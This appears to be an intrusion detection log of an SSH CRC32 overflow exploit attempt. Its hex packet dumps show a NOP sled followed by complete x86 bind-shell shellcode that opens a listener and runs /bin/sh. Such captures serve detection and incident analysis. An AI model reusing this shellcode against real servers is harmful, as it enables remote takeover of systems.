1431  EXPLOIT ssh CRC32 overflow NOOP from  19:39 09-18 03:36 09-19 
203.80.227.2:893   137.189.98.5:22  
----------------------------------------------------------------------

09/19-03:25:18.597264 0:50:FC:2B:1B:C5 -> 0:D0:9:4E:46:C type:0x800 len:0x5EA
203.80.227.2:788 -> 192.168.20.1:22 TCP TTL:55 TOS:0x0 ID:49601 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0x9DF3C85B  Ack: 0x73E95B3C  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 5257561 366995263 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  .....


Inject the shell code at 09/19-03:25
----------------------------------------------------------------------

09/19-03:25:18.654361 0:50:FC:2B:1B:C5 -> 0:D0:9:4E:46:C type:0x800 len:0x5EA
203.80.227.2:788 -> 192.168.20.1:22 TCP TTL:55 TOS:0x0 ID:49624 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x9DF44A73  Ack: 0x73E95B3C  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 5257566 366995266 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 89 E5 31 D2 B2 66 89 D0 31 C9 89 CB 43  .....1..f..1...C
89 5D F8 43 89 5D F4 4B 89 4D FC 8D 4D F4 CD 80  .].C.].K.M..M...
31 C9 89 45 F4 43 66 89 5D EC 66 C7 45 EE 30 39  1..E.Cf.].f.E.09
89 4D F0 8D 45 EC 89 45 F8 C6 45 FC 10 89 D0 8D  .M..E..E..E.....
4D F4 CD 80 89 D0 43 43 CD 80 89 D0 43 CD 80 89  M.....CC....C...
C3 31 C9 B2 3F 89 D0 CD 80 89 D0 41 CD 80 EB 18  .1..?......A....
5E 89 75 08 31 C0 88 46 07 89 45 0C B0 0B 89 F3  ^.u.1..F..E.....
8D 4D 08 8D 55 0C CD 80 E8 E3 FF FF FF 2F 62 69  .M..U......../bi
6E 2F 73 68 00 68 30 68 30 68 30 2C 20 37 33 35  n/sh.h0h0h0, 735
30 2C 20 7A 69 70 2F 54 45 53 4F 21 00 00 00 00  0, zip/TESO!....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

09/19-03:25:19.092686 0:50:FC:2B:1B:C5 -> 0:D0:9:4E:46:C type:0x800 len:0x5EA
203.80.227.2:792 -> 192.168.20.1:22 TCP TTL:55 TOS:0x0 ID:49762 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x9E3C3F67  Ack: 0x74084955  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 5257611 366995311 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................

90 90 90 90 90 90 90 90 90 90 90 89 E5 31 D2 B2  .............1..
66 89 D0 31 C9 89 CB 43 89 5D F8 43 89 5D F4 4B  f..1...C.].C.].K
89 4D FC 8D 4D F4 CD 80 31 C9 89 45 F4 43 66 89  .M..M...1..E.Cf.
5D EC 66 C7 45 EE 30 39 89 4D F0 8D 45 EC 89 45  ].f.E.09.M..E..E
F8 C6 45 FC 10 89 D0 8D 4D F4 CD 80 89 D0 43 43  ..E.....M.....CC
CD 80 89 D0 43 CD 80 89 C3 31 C9 B2 3F 89 D0 CD  ....C....1..?...
80 89 D0 41 CD 80 EB 18 5E 89 75 08 31 C0 88 46  ...A....^.u.1..F
07 89 45 0C B0 0B 89 F3 8D 4D 08 8D 55 0C CD 80  ..E......M..U...
E8 E3 FF FF FF 2F 62 69 6E 2F 73 68 00 68 30 68  ...../bin/sh.h0h
30 68 30 2C 20 37 33 35 30 2C 20 7A 69 70 2F 54  0h0, 7350, zip/T
45 53 4F 21 00 00 00 00 00 00 00 00 00 00 00 00  ESO!............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................